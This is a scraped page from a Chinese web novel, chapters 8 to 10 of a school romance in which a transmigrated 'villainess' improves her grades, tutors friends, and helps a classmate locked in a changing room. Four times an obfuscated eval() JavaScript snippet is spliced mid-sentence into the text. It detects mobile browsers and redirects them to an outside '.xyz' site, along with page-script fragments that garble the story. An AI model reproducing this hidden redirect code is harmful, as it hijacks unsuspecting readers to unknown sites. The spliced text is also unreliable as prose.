;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996697|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴边,就被时谣的动作迅速打断。
“哥哥辛苦了,谢谢你今天帮我解决难题,我记得你最喜欢吃辣椒炒肉了,你尝尝。”
时谣忙不迭地给他夹了一筷子菜,见他愣住,又去给晏修远夹:“爸爸,这是你喜欢的炒芦笋。”
父子两人看着自己碗里的菜,都沉默了。
时谣对晏修远眨眨眼,晏修远觉得有些好笑,便给她面子吃了一口,也不再提晏羽的事了。
时谣又转头用一种祈求的视线盯着晏羽,晏羽无端觉得这一幕有点诡异,但时谣见他迟迟不动筷,露出了难过的表情。
晏羽:“……”
他不知道为什么心软下来,低头勉强吃了一口。
时谣的脸上绽放出笑容,毫不吝啬地夸赞:“哥哥你最好了!”
那笑容又纯真又甜美,晏羽被那笑容晃了一下神,不自觉地捏紧了手里的筷子,移开了视线。
于是一场将要爆发的家庭矛盾就这么被时谣轻松愉快地化解了。
晏修远总看晏羽不顺眼,很大程度上是因为晏羽对时谣的态度。
本来时婳带着女儿嫁入他们家就很不容易,时谣又是一个外来的孩子,心思敏感很正常,偏宠一点就好了。只是晏羽总是每天耷拉着一张脸,总是一副恨不得把她赶出自己家的表情。
不知道的人,还以为他们家苛待继女呢!
但看着今天两个孩子这么其乐融融地相处,晏修远心里感慨万千,不由得看着时谣笑道:“谣谣啊,你能跟你哥哥好好相处,我就放心了。”
时谣如水般的眼睛看着晏修远,认真道:“爸爸,哥哥只是不善于表达,你别老责怪他了,他也很难受的。”
“好好好。”晏修远看着一脸认真的时谣,爱怜地摸了摸她的头。
晚饭就这么平静的结束了,时谣准备回去继续做题,却在楼梯口遇到了正在等她的晏羽。
“哥哥有话跟我说?”见他面色复杂地看着自己,时谣疑惑道。
晏羽定定地看着她,声音沉沉:“为什么帮我?”
她以前可是最乐于见到这种局面,不添一把火都已经算是友善了,更何况是为他说话。
时谣却摇摇头:“因为你是我哥哥,仅此而已。”
从穿来那一天时谣就清楚地知道,她余生的许多年都会有晏羽的参与,他不仅是原著里的男主,更是时谣这一世的亲人。
何况上辈子的时谣双亲早逝,自然也不像原主那么恨他,反而因为相似的身世,对晏羽这个角色有着很复杂的共情和惋惜。
甚至他后期复仇成功之后,有的也不是大仇得报的喜悦,而是对一生都没有得到的亲情的遗憾。
因此时谣不介意跟哥哥打好关系,让晏羽在这个家里得到多一点爱。何况有些本来就是晏羽的东西,她也不想抢走。
而且晏羽长得又好看,还会给她讲题,他人其实挺好的呀。
不知道是不是错觉,时谣觉得晏羽复杂的神情里似乎多了一丝动容。
良久,他才很轻地应了一句:“嗯。”
……
第二天一早,时谣拿着昨天重做了一遍的月考试卷,找班主任赋分。
班主任见她有心好好学习,便调出了赋分系统,叫时谣把自己的分数输进系统里算一算。
但赋分结果出来之后,班主任傻眼了。
时谣赋完分后的总分是716,成功将原本总分696的姜望舒从年级第二挤下,和年级第一的温言律,只有15分之差。
时谣原本的成绩只有四百多,一夜之间提升近三百分,这已经不是逆袭,而是超鬼了。
“这真的是你昨晚做出来的成绩,没有输错?”
事情实在太离奇,班主任不可置信地又确认了一遍。
8. 被锁
时谣道:“是我自己做的。”
高二的知识点很简单,但1班的学生们成绩都很不错,时谣来之前还有点忐忑自己能不能拿到一个好名次,赋完分后却是松了一口气。
还好像晏羽那样高中就学完高等数学的天才始终是少数,自己在年级的排名还挺不错的。
至少,吊打1班的大部分人。
但时谣的视线又不自觉地落在了排名第一的温言律上面。
温言律选的科目是全理科,他的数学、物理、生物和化学全是满分。被扣的那19分只来源于英语和语文作文,更重要的是,他并不是赋分后才拿到的满分,而是裸分就已经满分了,所以赋完分成绩毫无变化。
难怪他被圣斯特学院的学生称为学神。
这真的是人类能考出来的成绩吗?
时谣的选科成绩不差,赋完分也是满分,但裸分离满分还是差一点的。虽然选科不一样,但是看着温言律的成绩,时谣的眼神还是不自觉地钦佩起来。
真的好厉害啊。
要怎么学才能学到这种程度?
时谣内心已经暗暗把温言律当成了对手,这边班主任已经看完了时谣的卷子,啧啧称奇。
他已经彻底相信了时谣的成绩其实不差,以前只是玩心太重在学习上不用功,现在努力一下,还是蛮厉害的。
不过有几个科目的卷子昨天上课后老师应该是讲过的,班主任并不觉得时谣能一下子考到年级第二,但讲过的知识能消化,就已经是很大的进步了。
于是他对时谣表达了肯定:“不错,继续努力,老师看好你!”
时谣对老师道了声谢,离开了办公室。
拿到卷子回到班上的时候,有人故意对时谣大声道:“哎哟,时谣回来啦,是不是怕被退学紧急找老师开小灶去了?”
班里哄堂大笑。
原主在班上的人缘并不好,时常有看她不顺眼的人恶意拱火。
时谣视线淡淡地扫过起哄的几人,她知道在昨天故意挑起她和姜望舒矛盾的人就混迹于此,故意等着看她的笑话。
但,无法确认是谁。
于是时谣也没搭理他们的取笑,只要不给予关注,那些人感到无趣便自会离去。
她坐回座位上,想到高她15分的温言律,内心又燃起熊熊斗志。
她把“温言律731”这几个字写在了自己的计划本之上,暗暗下定决心。
加油,卷他!
时谣摊开自己的月考试卷,聚精会神地整理起错题了。
果然那些期待着时谣破防的人见她根本不回应,很快就散掉了。
姜望舒在背后看着时谣,默默地想,她好像真的开始改变了。
现在的时谣身上好像有一种超然于世外的沉稳与自信,像一颗饱满的种子落入泥土中,不理会外界喧嚣,只是专注于汲取养分,期待着早日破土而出。
她拿着手中的袋子,犹豫许久,最终还是走上前。
“时谣同学。”姜望舒鼓起勇气,叫了她的名字。
在众目睽睽之下,时谣抬起头,见是姜望舒,居然破天荒对她露出一个笑容。
“谢谢你的伞和毯子。”那个笑给了姜望舒更多的勇气,她将手里的袋子递给她,“也谢谢你昨天送我回家,我亲手做了小蛋糕,希望你不要嫌弃。”
本以为时谣对非品牌类的蛋糕不会感兴趣,姜望舒已经做好了被拒绝的打算了,却没想到时谣的眼睛突然一亮。
“你亲手做的吗?”时谣兴致勃勃地打开袋子看了一眼,果然看到一个包装精美的纸盒,下面压着叠得整整齐齐的,已经洗干净的毛毯和捆得很整齐的折叠伞。
姜望舒的厨艺很不错,时谣当初看书的时候就经常被姜望舒做的美食馋得要死,没想到自己穿来没几天就有幸能品尝到女主的手艺,连忙欢天喜地收下了。
“自己做蛋糕真的好厉害啊,谢谢你的心意,我会用心品尝的!”
时谣的夸奖很真挚,姜望舒看着她澄澈的双眸,全是不掺杂一点杂质的真诚,有些不好意思地垂下了眼。
她胡乱地点了一下头,逃回座位了。
班里等着看好戏的众人:“……”
怎么回事?
时谣和姜望舒居然能和平相处?
姜望舒还给时谣送自己亲手做的蛋糕?!
搞什么啊,时谣平时不欺负姜望舒就已经是女魔头开恩了,这俩今天的氛围都和谐得有点魔幻了吧?!
有些话不好意思当着正主面前说,许多人都是面色复杂地低下头,打开了手机,在校园论坛里面聊得热火朝天。
【1L:我去女魔头和特招生今天是什么情况啊,送蛋糕?女魔头还对特招生笑?】
【2L:不知道啊好玄幻啊,而且女魔头居然在学习诶,是不是陆少的赌约让她受刺激了?】
【3L:我觉得是,不过她再怎么学习也不可能考过陆少的,哈哈。】
【4L:坐等女魔头退学,这样我们学校就能少一个缠着f4不放的死花痴了,嘻嘻。】
……
时谣没只顾着自己学习,也抽空给朱颜和温馨然两人讲了一下几个她们薄弱的知识点。
虽然两人追随原主的原因是爱出风头的几个人混在一起找点乐子,但是朱颜和温馨然两人的心肠并不坏,在时谣被人误会的时候还会勇敢替她出头。
就凭这点,时谣心里已经把她们当做好朋友了。
时谣自己的成绩不需要担心,但她可不想让好朋友被退学。
“你看,你把这个知识点背下来后,这种类型的题目是不是就很好解决啦?”
时谣看着朱颜的练习册,对她昨晚的学习成果表示肯定,又往后翻了几页,找到了几道同类型的题目。
“举一反三,你现在可以做这几道题自测一下,这个知识点你真的掌握了没有。”
然后她接过温馨然的英语卷子,给她讲起了语法:“这个是固定搭配,放在语境里是一个固定的意思,不可以随便填介词的……”
在时谣耐心的讲述下,两个人都有所长进,不由得羡慕地看着时谣。
时谣合上书,见两个人眼巴巴地看着自己,觉得有些好笑:“怎么了吗?”
“谣姐,你怎么突然变得这么厉害了?”
温馨然问出了两人的心中所想,时谣这两天的改变实在是巨大,大到让她们都开始怀疑是不是换芯子了。
若说以往三人的水平就像是在陆地上蹬自行车,那时谣这一夜之间的突飞猛进,就好像坐上火箭飞往了外太空,在陆地上的人只能远远看到一点痕迹,却怎么也追不上。
“我以前就很厉害。”时谣摇头道,“只是我以前玩心太重,总是追着陆烬燃他们几个跑,耽误了学习而已。现在我不想喜欢他们了,我只想好好学习。”
“谣姐你怎么突然不喜欢他们了?是发生了什么事情了吗?”
“没发生什么,只是突然觉得喜欢别人不该占据我生活的全部,我明明还有更值得做的事情。”
比如,超越温言律。
两人一下子被她这句话帅到,激动地鼓起了掌:“谣姐,你好厉害啊!!!”
但是为她欢呼完,两人又一下子黯然下去:“要是我们也能像你一样厉害就好了,数学真的好难,我们这种没有学习天赋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996698|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的人连基础题都拿不到分,还不如退学算了……”
她们觉得时谣好像小说的女主,隐藏实力多年,某天一鸣惊人。
而她们只是小说里的炮灰,还是很快就要被退学的那种。
时谣不赞同地道:“别这么想,基础题是最容易练起来的。而且我昨天讲的题你们今天都学会了,怎么就没天赋了呢?再把基础巩固一下,很快就能起来了。到时候别说摆脱年级倒一,就连1班,你们也说不定能考进去呢。”
两人神情皆是一振:“真的吗?”
“真的啊。”时谣认真道,“努力起来,一切皆有可能。反正没有什么会比现状更糟糕了,无论往那边走都是在向上,走下去就好。”
“而且你们是我的朋友啊,你们很聪明的。我相信你们只要努力起来,什么都可以做到。”
两人愣愣地看着时谣,只觉得有一股热情的暖流注射进了她们的身体里,而眼前说出这些话的时谣,好像在发光。
她们的成绩一点都不好,好像从来没有人这么肯定她们。
不知为何,两人的眼眶里都泛起一丝泪意,时谣的支持给了她们极大的信心,两人迅速燃起斗志,点头:“嗯!”
她们会加油的。
摆脱倒数第一!
两人干劲满满地回去学习了。
只是在三人没注意到的角落,几道暗中观察的视线也随之收回,然后互相对视一眼,露出了不怀好意的笑容。
……
今天的最后一节课是舞蹈课。
圣斯特学院的体育课程很丰富,高尔夫、台球、芭蕾这些普通学校不太常见的课程,却时常会出现在圣斯特学院的课程表上。
一堂累人的课程结束后,姜望舒坐在更衣室的椅子上,慢腾腾地收拾东西。
更衣室里现在没多少人,在姜望舒看不见的地方,其他人接连离开,却把更衣室的门反锁了。
听到“咔哒”一声响,姜望舒终于察觉了不对劲。
她连忙跑到门口,焦急地拍门:“喂!你们怎么锁门啊!还有人在里面呢!”
锁门的那个女生听到姜望舒焦急的语气,却是恶意地笑了:“我知道啊,你就在里面好好呆着吧,估计明天一早才有人发现你呢。”
“快开门!你们怎么可以这样做!”
那女生不屑道:“这么想知道,你去问时谣呗,我们都是受她指使的。”
时谣……
昨天在雨中,时谣向她道歉,并说再也不会欺负她的那一幕似乎又出现在眼前,姜望舒一下子觉得浑身冰冷。
门外的几个女生笑着,无论姜望舒怎么拍门求救,都不再搭理她一下,反而一边说笑着,一边渐行渐远。
不要……
不要这样……
奶奶生病在家还需要人照顾,她要回去……
听着外面渐渐安静下来,姜望舒的手掌已经拍得发麻,最终无力地顺着门边瘫坐下来,只觉得又委屈又难过。
时谣,为什么是时谣,果然她昨天做的那些又是戏弄自己的把戏吗……为什么要这么针对她!她明明什么都没有做!
果然时谣是不会对她释放善意的,她明明最讨厌自己了。自己怎么可以因为她施舍一般的好意,就觉得她是个好人呢?
泪水无声无息地顺着脸颊流淌下来,姜望舒低声啜泣着,内心全是因为自己的轻信他人而产生的浓浓悔意。
不知过了多久。
“那个……发生了什么吗?”
身边响起一道声音,听起来似乎有点熟悉。
姜望舒猛地抬头,却在模糊的视野里,看到了时谣茫然又无措的身影。
9. 跳窗
时谣怎么会在这里?
她一时间连哭都忘了,呆呆地看着突然出现在自己面前的人。
时谣似乎还不知道发生了什么,试图安慰她:“你别哭嘛……这么晚了不回家吗?是不是一个人害怕,要不要我送你回去?”
时谣一边说着,一边去开更衣室的门,却发现门已经被从外面锁死了,根本打不开。
时谣:“?”
她深吸一口气,换了个姿势开门,却发现门好像被焊死一样,纹丝不动。
时谣默默看了一眼瘫坐在地上,小脸泪痕未干的姜望舒。
“系统,这不对吧?”她对脑子里的系统发出质疑,“我明明没干坏事,为什么姜望舒还是被锁在更衣室里了?”
时谣记得这个剧情,恶毒女配时谣因为让女主姜望舒退学不成,心生怨恨,在芭蕾课后将姜望舒关进更衣室锁了一晚上。
但是时谣这次什么都没干,剧情却还是发生了,这算什么?剧情bug?
系统说:【因为宿主这次什么都没干,但是剧情还需要有人推进,所以这个剧情让别人出现,自动圆过去了。】
时谣:“……”
她要开始怜爱姜望舒了,可怜的玛丽苏文女主角,怎么样都要被关,好惨。
姜望舒见她弄了几下门,忍不住低声道:“门被她们反锁了,打不开的。”
时谣叹了口气,在她身边蹲下,摸了摸她的头。
“有没有吓到?”
姜望舒的脸一瞬间涨红:“!!!”
面对时谣关切的视线,姜望舒觉得无措极了:“我、我……”
救命,时谣好温柔啊,就跟大姐姐一样。姜望舒还没有被同龄人这么关心过,时谣放在她脑袋上的手也好温暖,被摸脑袋的感觉好奇怪,却意外地挺舒服呢。
见姜望舒浑身僵硬,时谣以为自己的举动冒犯到了她,便缩回了手。
姜望舒的视线不自觉地被那只收回的手吸引过去,却见那只手往衣服的口袋里摸了摸,然后掏出一小包纸巾递给了她。
时谣道:“别哭,先擦擦眼泪,我们一起想办法出去。”
见时谣很是镇静,好像很靠谱的样子,姜望舒的心也莫名安定下来。又想到刚刚误会了时谣,内心不由得升起一丝歉疚。
她不好意思地接过纸巾,不由得发问:“时谣同学,你怎么也被关在这里了?”
刚刚那伙人来势汹汹,以姜望舒在圣斯特学院一直被欺负的经历来看,估计只是针对自己的,那把她锁起来之前应该会先清场才对。
却没想到时谣脸上闪过一丝尴尬:“这个嘛……”
圣斯特学院的更衣室很大,每个学生都有专门的柜子,时谣的柜子就在更衣室的最里面。
时谣刚刚换衣服的时候在柜子里发现了一个MP3。这种MP3时谣很熟悉,上辈子她在重点高中内卷的时候,班上的学生几乎人手一个MP3用来播放英语听力。
但原主不爱学习,时谣也不觉得原主会专门买个MP3听英语,这台MP3里面估计就是一些有声小说,也有可能是乙抓。
时谣实在好奇原主会在MP3里面放些什么,就算是乙抓她也有心理准备,于是她戴上了耳机点击播放。
没想到她却在里面听到了她自己的声音。
原主或悲伤、或喜悦的心情透过这台小小的设备向她传达,音频的内容都是f4今天穿了什么啊,自己怎么和他们拉近关系的啊,以及晏羽多么多么讨厌,甚至还念起了自己偷偷写给了f4的情诗。
“噢,你在球场上挥洒汗水的身姿是多么潇洒,你的笑容是多么阳光迷人,你每一次投篮的动作都在深深牵引着我的心,陆烬燃……”
不仅有给陆烬燃的,还有给温言律和苏雾迟的,甚至连晏羽也有。
时谣一开始听到差点发出无声尖叫,这都什么啊,还不如偷偷听乙抓呢!而且连自己继兄也有的话会不会太那啥了啊姐妹!
但一条一条听下去,时谣却莫名从中窥见了原主在花痴迷恋底下的自卑心思,她喜欢光芒万丈的f4,内心憧憬着想要成为他们那样的人,就算一次次被推开也无所谓,反正……原主也不觉得自己配得上他们。
时谣的心情慢慢从尴尬变得沉默,透过那一条条语音,她好像看见了不被书中记载的原主站在自己面前。她不再是书里的恶毒女配,而是有着自己少女心事的,鲜活的一个人。
她不知道该怎么描述自己听完原主故事的心情,只能将那个MP3小心地收好。
或许是听得太沉浸,时谣甚至都没有听到姜望舒刚刚的拍门声,等她出来一看,就是姜望舒瘫坐在门边哭的场景。
时谣随便找了个理由应付过去:“我刚刚在听歌,出来就只看到你了。你知道把你关起来的人是谁吗?”
姜望舒刚转来学校没多久,跟班里的人其实都不熟,根本认不出来都是谁的声音。
见姜望舒摇头,时谣只是点头:“没事,我们出门查一下监控。我的手机没电关机了,能借你的手机用一下吗?”
“我的手机在教室。”姜望舒低声道,如果手机带在身上她就不用这么着急了,她主要怕奶奶迟迟见她没回家会忍不住来学校找她,花区离圣斯特学院这么远,奶奶还在生病,一路走过来的话身体肯定遭不住。
其实时谣不是很担心,她记得在书里姜望舒也没有被关一个晚上,男主很快就会来救她了。
但见姜望舒一脸焦急,眼泪不住地在眼眶里打转,不由得有些心软:“别哭,晚点应该会有人找到我们的。”
“时谣……”姜望舒不自觉地依赖着她,无措极了,“我们真的能出去吗?我不想被关一个晚上,我奶奶她身体不好,我需要回去照顾她。”
被姜望舒这么一提醒,时谣想起了更多原著里的细节。
姜望舒从小在孤儿院长大,被好心的奶奶收养。这次姜望舒被锁在更衣室许久,姜奶奶担心孙女,往圣斯特学院赶。等姜望舒被男主从更衣室里救出来时,姜奶奶已经因为忧思过度,一口气没喘匀,昏倒在了路边。
时谣不知道现在是几点,但是如果等男主来解救的话,姜奶奶肯定已经出事了。
时谣微微皱眉,目光往更衣室四周搜寻着,冷静地安慰着姜望舒:“别担心,奶奶会没事的。”
时谣走到窗边,往楼下看,却发现更衣室在三楼,而且这个窗帘子挺大挺厚实的,时谣伸手用力拽了拽窗帘,发现布料没有丝毫变形,满意极了。
“望舒,我有办法了。”
时谣回头看着姜望舒,眼睛很亮。
姜望舒看她搬着椅子去解窗帘,就猜到了她要干什么,大惊失色:“不行!一不小心会摔下去的!”
时谣却没听她的劝阻,将窗帘全部拆了下来,开始一段一段地打结,然后从窗户里放下去试试长度。
长度刚好够放一个人下去。
时谣将窗帘在柜子上绑死,试了试力道,窗帘之间的衔接处没有崩。但出于安全起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996699|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见,时谣还是加固了绳结。
她瞥了眼姜望舒:“来帮我一把。”
姜望舒却坚决不同意她做这么危险的事,猛猛摇头:“不行!”
“墙上有水管,我可以借力的,而且楼层不算太高,不会出事。”时谣耐心解释。
“不可以,不要做那么危险的事!”
“你不是着急回去看奶奶吗?我下去然后上来帮你开门,你就可以早点回去了。”
“那也不能拿自己的安全开玩笑啊!”
时谣定定地看着姜望舒,却又想起姜奶奶因为这次昏迷,重病不起,不久之后就撒手人寰的事。
跟失去最亲的人相比,她的一时危机有什么重要。时谣不想看到姜望舒失去亲人痛苦的样子,对着她笑了:“没问题的,相信我。”
那一笑明媚又自信,让人信服。
就算没人帮忙拉着,下去也不是难事,时谣便跨坐上了窗台,吓得姜望舒飞扑上去,扯住了她腰上的绳子:“时谣!”
时谣回过头,神色轻松:“那你拉好哦,我很快就上来。”
时谣便低头踩住水管,顺着墙面下去了。
姜望舒想拦,但是已经来不及了,只能紧紧地帮她拉住绳子,紧张地盯着时谣。
好在时谣有惊无险,矫健地落地了。
姜望舒松了一大口气。
她在底下对姜望舒喊道:“我没事!不用担心我!”
姜望舒点头,心中的石头稳稳落地:“嗯!”
时谣解了身上的绳子,连忙去给姜望舒开门。
门一开,姜望舒就紧紧地抓住了她的手,眸中全是紧张之色。
她深深地看着时谣:“你——”
时谣轻笑:“区区三楼,我没事的。”
见时谣笑得风轻云淡,姜望舒佩服她的勇气,如果是换做她的话,她只能无措地在更衣室等待着救援,根本不敢往楼下跳。
时谣这个人在她心里的印象再一次刷新,姜望舒深吸了一口气,诚恳道:“谢谢你,我们一起走吧?”
时谣摇头:“我留下来收拾更衣室,你快去给奶奶打电话报平安。”
对,奶奶!
一想到奶奶,姜望舒立刻又把一切抛之脑后了,她对时谣点点头,就准备往教室的方向跑。但似乎又想起什么,停下了脚步。
“时谣,刚刚我听到把我关起来的人说,是你指使她们干的。”
时谣没想到这锅还能丢自己身上,哭笑不得:“我指使的话,我干嘛要把自己也关起来呢?”
“我知道不是你。但我刚刚因为她们的话误会你了,对不起。”
姜望舒对着时谣深深地鞠了一躬,随后又急着离开,很快就跑远了。
时谣站在原地,若有所思。
她回更衣室将窗帘复原,其实她自己也是有点怕的,不然也不会从三楼水管下去还给自己绑条救生绳。
等她做完这一切,太阳已经西沉,天幕像一片深蓝的丝绒,零散的碎星像丝绒上面的水钻,悬浮在天空。
夜幕已至。
时谣收拾好自己的包,准备去监控室查一下到底是谁干了坏事还往她头上泼脏水,却没想到门口突然出现一个人影,和她差点撞上了。
两人俱是一惊。
时谣抬头往上看,一张盛世美颜映入眼帘,桃花眼下的泪痣明晃晃地吸引着她的视线。
可当来人看清眼前人是时谣的时候,焦急的神色一扫而空,却是凉凉地笑了。
10. 苏雾迟
“我听说有人被关在这里了,就想着顺路过来看一看。”
苏雾迟的脸隐藏在走廊的阴影,神色看不分明,语气是漫不经心的,只是看着时谣的眼神却越来越冷,像是冷血的狩猎者在审视着自己的猎物。
他的语气意味深长:
“没想到,是时谣你想见我啊。”
如果是原主,听到苏雾迟用这种近似于玩笑一般的语气对自己说话,肯定会兴奋到不行。
但看过原著的时谣却轻易地听出了弦外之音,知晓他现在应该是误会了什么,此时正沉浸在被骗了的恼怒之中,在心里暗暗给她记了一笔。
苏雾迟喜欢至纯至善的人,最讨厌欺骗。在苏雾迟眼里,时谣一边说着喜欢他一边对其他人示好,就是一种欺骗。而且他在后期爱姜望舒爱得无法自拔,欺负过姜望舒的时谣就成了完美的报复对象。
什么各种刑具折磨之后把她扔到乱葬岗,还挖了她的眼睛做成标本收藏,妥妥的隐藏款病娇。
所以欺骗苏雾迟=死。
时谣不想跟苏雾迟虚与委蛇,直截了当地解释:“我和姜望舒被一起关在更衣室里了,刚刚我跳窗出来给姜望舒开了门,她现在回家了。”
苏雾迟笑,但一个字都没信:“这么巧啊,看来我来得不是时候?”
见苏雾迟一副油盐不进的样子,时谣无语极了:“那你是觉得,是我闲着没事干散布谣言,把你引到这里来的吗?”
苏雾迟笑着:“嗯呢。”
两个字,不轻不重,但时谣能听出来他此时很不爽。
该说不说,苏雾迟这张脸是真的好看,就算是在全是帅哥的校园f4里他也是最漂亮的那一个。只是他笑眯眯的表情实在是让人火大,时谣不敢赌这张笑脸下面正在憋什么坏,没好气地拉起他:“你跟我走。”
苏雾迟的手腕猝不及防地被她攥住,笑容一滞,想要挥开她:“你……”
时谣多用了几分力道:“别多想,我可对你没兴趣。”
好在从旁边的楼梯下去就是监控室,时谣没费多大功夫,就把苏雾迟拉到了监控室门口。
见时谣终于松开自己,苏雾迟的目光在监控室的大门上萦绕一瞬,又审视似地瞥向了时谣。
“这是什么意思?”
“你不是不信吗?”时谣清凌凌地看向他,“来看看监控,不就知道是怎么回事了?”
时谣的表情很坦然,苏雾迟没在上面看到说谎的痕迹,不自觉地眯了眯眼。
时谣礼貌地敲了敲门,然后推门进去,对监控室的老师报上姓名:“我是时谣,旁边这位是苏雾迟,我想查一下二楼更衣室那条走廊的监控。”
监控室的老师见是四大家族的孩子,便很顺利地给他们开放了权限。
苏雾迟站在时谣身后,见她一脸专注地调着监控录像的时间,没有多给他一个眼神,眸色渐深。
刚才放学路过十班走廊的时候,苏雾迟意外听见了几个人放声讨论的声音。
“总算把姜望舒那个臭婊子关进更衣室了,不就是这次月考考得好一点了吗,拽什么拽。”
“嘻嘻,听说那栋楼晚上八点后会断电呢。到时候她一个人待在更衣室里,会不会被吓死呢?好想看到她明天早上狼狈的样子呢。”
几个女孩一边收拾着书包,一边欢快讨论着刚刚做的坏事。但是这件事情对她们来说似乎微不足道,很快话题又往美妆、影视方面跑去了。
更衣室,断电……
他和姜望舒不算很熟,但那一刻苏雾迟似乎想起了什么,脑海中浮现出姜望舒一个人在黑漆漆的更衣室里的样子,那被浓郁黑暗包裹的感觉让他窒息,他手脚冰凉地站在原地愣了愣。
很快他便顺着信息找了过来,却没看到姜望舒,只有时谣。不用细想都知道,这估计又是时谣想接近他的手段罢了。
他看着时谣现在一帧一帧看监控的模样,心中冷嗤。
装吧。
他倒要看看她能装多久。
时谣从放学时间开始看,却发现位于二楼更衣室走廊外的那个监控自从放学以后就黑了下来,所有的关键信息都没录到。
怎会如此……时谣内心凉了半截。
她心惊地想,还好她今天没有提前离去,要是她今天没有和姜望舒一起被关在更衣室,那又是被其他人泼脏水又是监控录像丢失的,她就算是长十张嘴也说不清自己没干这事啊。
时谣转头去问监控室的老师这个地方的录像为什么丢失了一段,却得到了那个点他短暂离开了一段时间的回答。
“是被关掉了吧?”老师随手点了远程开机,屏幕上的影像再一次浮现出来。
那看来是有人趁老师不在的间隙,偷偷溜进来把监控关掉了。
“那还有其他监控能拍到更衣室门口的吗?”时谣问。
老师摇头。
苏雾迟这下更加笃定她在耍自己玩,双手环抱,轻笑着看她。
“看来,是没有证据?”
那漫不经心的语调不似诘问,反而跟调笑一样,时谣顿了顿,转头去看,却没在他的眼底看见笑意。
就算他的长相漂亮得再惑人,时谣也没有忽略这看似玩笑的一句话里面的危险意味,她调出另一个画面,对着苏雾迟扬了扬下巴。
苏雾迟瞥了一眼,却发现这个地方的监控居然正好拍到三楼更衣室的窗户,上面的录像赫然是时谣借着窗户跳窗逃生的一幕。
这是……
他在窗户旁看到了姜望舒焦急的脸。
没有人会放着大门不走去跳窗,时谣刚才说的是真的,并不是刻意引他过来,而是真的被关在了更衣室里。
苏雾迟微微皱眉,不自觉看向旁边,时谣此时正歪着脑袋看他,那双杏眼很大很亮,好像会说话。
苏雾迟甚至能从里面看出满满的嫌弃,那眼神分明就写着:“都说了对你没兴趣,你个自恋狂。”
苏雾迟:“……”
昨天早上在校门口被她竖中指的那一幕,突然浮现在眼前。
那时候她的眼神就跟现在一样,嫌弃,好像他是什么要远离的脏东西。
苏雾迟那时还以为这是时谣欲擒故纵的新手段,但是她不是喜欢自己的吗?而且他做任何事情都留有三分余地,应该没有哪里惹到她了才对。
苏雾迟心中越发疑惑,盯着她看了片刻,心里浮现出一丝歉意:“抱歉,是我误会你了。”
他又恢复了以往的善意,说完这句话后又皱起眉头,脸上全是担忧之色:“但是跳窗还是太危险了,下次遇到这种事打电话叫人就好了,没必要用自己的安全开玩笑。”
“多谢你。”时谣淡淡道,“但我手机没电了。”
没等他再说点什么,时谣就岔开了话题:“你是怎么知道有人被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996700|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关起来的?”
苏雾迟眨了眨眼睛,脑海中的探究欲望更加浓烈。
“在10班教室后门听到有人在聊把姜望舒关起来的事。我还记得她们的长相,要不要我帮忙认一下?”苏雾迟漂亮的桃花眼盯着她的后脑勺,眸色渐深,“就当是为刚刚误会你一事赔罪好了。”
时谣也没客气,站起来把苏雾迟往屏幕前的座位上按:“那你来认一下,都是哪几个人?”
二楼的监控虽然被关掉了,但是一楼靠近更衣室的那个楼梯口的监控可还在正常工作。
只是这个楼梯口实在有太多人来往了,在时谣和姜望舒被困的这段时间里也有其他楼层的人路过,时谣心里有几个怀疑的人,可是她无法确定。
时谣的手很软,身上有着淡淡的栀子花香。苏雾迟被她柔软的手按着,坐进了盈满栀子香气的椅子里,一时间觉得空气都好像变得更加清甜,他眼瞳微震。
之前……好像从来没觉得她身上的味道很好闻。
苏雾迟目不转睛地盯着面前的屏幕看了一会儿,终于在某一帧按下了暂停键。
时谣连忙凑过去看,却见屏幕上清晰地出现了三张人脸。
为首的那个,高马尾,头上绑着千鸟格丝质发带,看起来很面熟。其他两人辨识度不高,但时谣记得这三个应该都是自己的同班同学,叫什么来着……
哦对,那个千鸟格高马尾叫做路荧,印象里跟原主闹过矛盾,原主每次被f4嫌弃之后,这个路荧都是第一时间赶来现场嘲笑的人。
